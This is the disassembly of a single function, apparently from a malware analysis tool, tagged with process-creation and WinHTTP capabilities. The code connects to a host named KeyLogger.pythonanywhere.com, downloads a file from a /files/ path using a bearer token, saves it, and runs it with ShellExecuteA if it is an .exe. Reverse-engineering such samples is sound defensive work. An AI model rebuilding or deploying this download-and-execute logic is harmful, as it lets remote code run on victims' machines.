Function at 0x140001e4f
Capabilities:
Create process on windows
Initialize winhttp library
Prepare http request
Receive http response
Set http header

Disassembly:
push rbp
push rbx
sub rsp, 0x388
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x320], rcx
mov qword [rbp + 0x328], rdx
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.WinHTTP_Downloader
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpOpen]
call rax
mov qword [rbp + 0x2f8], rax
cmp qword [rbp + 0x2f8], 0
jne 0x140001eb5
mov ebx, 0
jmp 0x14000244e
mov rax, qword [rbp + 0x2f8]
mov r9d, 0
mov r8d, 0x1bb
lea rdx, str.KeyLogger.pythonanywhere.com
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpConnect]
call rax
mov qword [rbp + 0x2f0], rax
cmp qword [rbp + 0x2f0], 0
jne 0x140001f09
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov ebx, 0
jmp 0x14000244e
lea rax, [rbp + 0x24f]
mov qword [rbp + 0x2e0], rax
nop
nop
mov rax, qword [rbp + 0x320]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.end___const
mov rbx, rax
mov rax, qword [rbp + 0x320]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.begin___const
mov rdx, rax
lea rcx, [rbp + 0x24f]
lea rax, [rbp + 0x220]
mov r9, rcx
mov r8, rbx
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string___gnu_cxx::__normal_iterator_char_const__std::__cxx11::basic_string_char__std::char_traits_char___std.allocator_char_______void____gnu_cxx::__no
lea rax, [rbp + 0x200]
lea rdx, [rbp + 0x220]
mov r8, rdx
lea rdx, str._files_
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::operator_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____wchar_t_const__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____
lea rax, [rbp + 0x220]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea rax, [rbp + 0x24f]
mov rcx, rax
call method.std::__new_allocator_wchar_t_.__new_allocator__
nop
lea rax, [rbp + 0x200]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x2f0]
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
lea rdx, [0x140101110]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
call rax
mov qword [rbp + 0x2e8], rax
cmp qword [rbp + 0x2e8], 0
jne 0x140002028
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov ebx, 0
jmp 0x14000243f
lea rax, [rbp + 0x27f]
mov qword [rbp + 0x2d8], rax
nop
nop
lea rax, [0x140137080]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.end___const
mov rbx, rax
lea rax, [0x140137080]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.begin___const
mov rdx, rax
lea rcx, [rbp + 0x27f]
lea rax, [rbp + 0x250]
mov r9, rcx
mov r8, rbx
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string___gnu_cxx::__normal_iterator_char_const__std::__cxx11::basic_string_char__std::char_traits_char___std.allocator_char_______void____gnu_cxx::__no
lea rax, [rbp + 0x1e0]
lea rdx, [rbp + 0x250]
mov r8, rdx
lea rdx, str.Authorization:_Bearer
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::operator_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____wchar_t_const__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____
lea rax, [rbp + 0x250]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea rax, [rbp + 0x27f]
mov rcx, rax
call method.std::__new_allocator_wchar_t_.__new_allocator__
nop
lea rax, [rbp + 0x1e0]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x2e8]
mov r9d, 0x20000000
mov r8d, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
call rax
mov rax, qword [rbp + 0x2e8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
call rax
test eax, eax
je 0x140002145
mov rax, qword [rbp + 0x2e8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
call rax
test eax, eax
jne 0x14000214c
mov eax, 1
jmp 0x140002151
mov eax, 0
test al, al
je 0x140002198
mov rax, qword [rbp + 0x2e8]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov ebx, 0
jmp 0x140002430
lea rax, [rbp + 0x280]
mov rdx, qword [rbp + 0x328]
lea r8, [0x1401011a6]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0x1c0]
mov rcx, qword [rbp + 0x320]
lea rdx, [rbp + 0x280]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x280]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rdx, [rbp + 0x1c0]
lea rax, [rbp - 0x10]
mov r8d, 4
mov rcx, rax
call fcn.1400c3e80
mov dword [rbp - 0x14], 0
jmp 0x1400022ac
lea rax, [rbp + 0x2af]
mov qword [rbp + 0x2d0], rax
nop
nop
mov eax, dword [rbp - 0x14]
mov ecx, eax
lea rdx, [rbp + 0x2af]
lea rax, [rbp - 0x30]
mov r8, rdx
mov rdx, rcx
mov rcx, rax
call method.std::vector_char__std::allocator_char___.vector_unsigned_long_long__std::allocator_char__const_
lea rax, [rbp + 0x2af]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov dword [rbp - 0x34], 0
mov ebx, dword [rbp - 0x14]
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.data__
mov rdx, rax
lea rcx, [rbp - 0x34]
mov rax, qword [rbp + 0x2e8]
mov r9, rcx
mov r8d, ebx
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpReadData]
call rax
mov eax, dword [rbp - 0x34]
mov ebx, eax
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.data__
mov rdx, rax
lea rax, [rbp - 0x10]
mov r8, rbx
mov rcx, rax
call method.std::ostream.write_char_const__long_long_
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.vector__
lea rdx, [rbp - 0x14]
mov rax, qword [rbp + 0x2e8]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
call rax
test eax, eax
je 0x1400022d5
mov eax, dword [rbp - 0x14]
test eax, eax
je 0x1400022d5
mov eax, 1
jmp 0x1400022da
mov eax, 0
test al, al
jne 0x140002209
mov rax, qword [rbp + 0x2e8]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
lea rax, [rbp - 0x10]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
mov rax, qword [rbp + 0x320]
mov r8, 0xffffffffffffffff
lea rdx, [0x1401011a8]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.find_last_of_char_const__unsigned_long_long__const
mov rcx, rax
lea rax, [rbp + 0x2b0]
mov rdx, qword [rbp + 0x320]
mov r9, 0xffffffffffffffff
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.substr_unsigned_long_long__unsigned_long_long__const
lea rax, [rbp + 0x2b0]
lea rdx, str..exe
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
mov ebx, eax
lea rax, [rbp + 0x2b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
test bl, bl
je 0x140002410
lea rax, [rbp + 0x1c0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rax, str.open
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
lea rax, str.Executed:
mov rdx, rax
mov rax, qword [0x140107db0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [rbp + 0x320]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
mov rcx, rax
lea rax, [0x14010116a]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ebx, 1
lea rax, [rbp - 0x10]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream__
lea rax, [rbp + 0x1c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea rax, [rbp + 0x200]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
mov eax, ebx
jmp 0x140002557
add rsp, 0x388
pop rbx
pop rbp
ret